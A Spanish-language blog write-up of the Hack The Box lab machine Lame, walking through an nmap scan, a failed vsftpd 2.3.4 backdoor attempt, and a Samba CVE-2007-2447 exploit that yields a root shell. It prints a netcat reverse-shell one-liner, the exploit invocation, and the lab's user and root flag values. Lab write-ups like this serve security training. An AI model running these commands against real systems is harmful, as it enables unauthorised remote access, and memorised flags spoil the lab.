Post

Lame - Easy (HTB)

Writeup completo de la máquina Lame (Easy) de Hack The Box. Explotación de Samba con CVE-2007-2447 para obtener acceso root en una máquina Linux vulnerable.

Lame - Easy (HTB)

Lame - Easy

Fecha: 03-04-2025
IP: 10.10.10.3
Estado: Resuelta


Reconocimiento

Iniciamos con un escaneo agresivo y completo de puertos, versiones y detección de servicios:

1
nmap -sC -sV --min-rate 5000 -p- -A 10.10.10.3 -oA Escaneo_Lame

El parámetro --top-ports 1000 también podría usarse para limitar a los mil puertos más comunes, pero aquí hicimos escaneo completo (-p-).

Resultado:

1
2
3
4
5
6
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

Ya desde el escaneo vemos algo interesante: el servicio FTP permite login anónimo, y hay dos versiones potencialmente vulnerables: vsftpd 2.3.4 y Samba 3.0.20.


Servicios encontrados

vsftpd 2.3.4

Este FTP es conocido por tener una backdoor que se activa si se conecta con un nombre de usuario que incluya :), pero al intentar explotarlo con Metasploit, no conseguimos acceso. El exploit requiere autenticación o conexión directa a un backdoor que, en esta máquina, parece estar desactivado o parchado.

Intentamos con:

1
2
3
4
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.3
run

Pero no obtuvimos shell.

Foto1


Samba 3.0.20

Samba en esta versión es vulnerable a una ejecución remota de comandos sin autenticación. La vulnerabilidad es la CVE-2007-2447, y ya existen múltiples exploits públicos funcionales.

Esta vulnerabilidad permite inyectar comandos mediante una configuración maliciosa del nombre de usuario (por ejemplo, un nombre con comillas o ;).

Usamos el siguiente repositorio de GitHub:

https://github.com/xbufu/CVE-2007-2447

El payload que ejecuta por defecto es una reverse shell:

1
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4242 >/tmp/f

Este comando crea un named pipe, ejecuta un shell interactivo y lo conecta a una dirección y puerto específicos con netcat.

Foto2


Ejecución del exploit

Para correr el script, primero configuramos un entorno virtual, ya que requería paquetes específicos de Python3:

1
2
3
python3 -m venv env
source env/bin/activate
pip install -r requirements.txt

Luego ejecutamos el exploit:

1
python3 script.py --rhost 10.10.10.3 --lhost 10.10.14.12 --lport 4242

Y en otra terminal dejamos netcat escuchando:

1
nc -lvnp 4242

Al correr el script, conseguimos una shell remota directamente como root, lo cual no es común en máquinas modernas pero sí en vulnerabilidades antiguas como esta.

Foto3


Escalando y buscando flags

Aunque ya éramos root, siempre es buena práctica verificar desde qué contexto entramos. Confirmamos que era una shell restringida (sh-3.2) pero con permisos de root.

Buscamos la flag del usuario:

1
find / -type f -name user.txt 2>/dev/null

Resultado:

1
/home/makis/user.txt

Leemos la flag:

1
2
cat /home/makis/user.txt
4bf6b7c786fada55a27c97f2c28f4d0c

Luego buscamos la de root:

1
find / -type f -name root.txt 2>/dev/null

Y:

1
/root/root.txt

Leída con:

1
2
cat /root/root.txt
3a96686a0c6236e0b7cab109eba1df3c

Foto4


Resumen

  • Escaneo inicial reveló múltiples servicios vulnerables.
  • El exploit para vsftpd 2.3.4 no funcionó, posiblemente parchado.
  • Se identificó Samba 3.0.20 vulnerable a CVE-2007-2447, con exploits públicos disponibles.
  • Ejecutamos el exploit y obtuvimos shell como root sin necesidad de escalar privilegios.
  • Leímos ambas flags: user.txt y root.txt.

Una máquina sencilla, ideal para principiantes. Demuestra la importancia de mantener servicios actualizados, ya que este tipo de vulnerabilidades son muy conocidas y peligrosas.


¿Quieres más writeups así? Sígueme en LinkedIn o checa mi blog para estar al día y mejorar tus skills.

```

This post is licensed under CC BY 4.0 by the author.